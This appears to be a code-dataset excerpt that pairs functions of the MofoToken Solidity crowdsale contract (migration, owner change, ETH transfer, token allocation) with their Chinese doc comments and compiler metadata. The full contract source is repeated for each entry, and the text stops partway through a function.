contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
stopFunding
function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; }
/// 关闭区块异常处理
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 3156, 3269 ] }
3,627
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
setMigrateContract
function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; }
/// 开发了一个新的合同来接收token(或者更新token)
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 3311, 3497 ] }
3,628
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
changeOwner
function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; }
/// 设置新的所有者地址
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 3520, 3694 ] }
3,629
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
migrate
function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it }
///转移token到新的合约
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 3719, 4230 ] }
3,630
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
transferETH
function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; }
/// 转账ETH 到 一个mofo
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 4258, 4406 ] }
3,631
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
allocateToken
function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 }
/// 将mofo token分配到预处理地址。
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 4441, 4884 ] }
3,632
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if 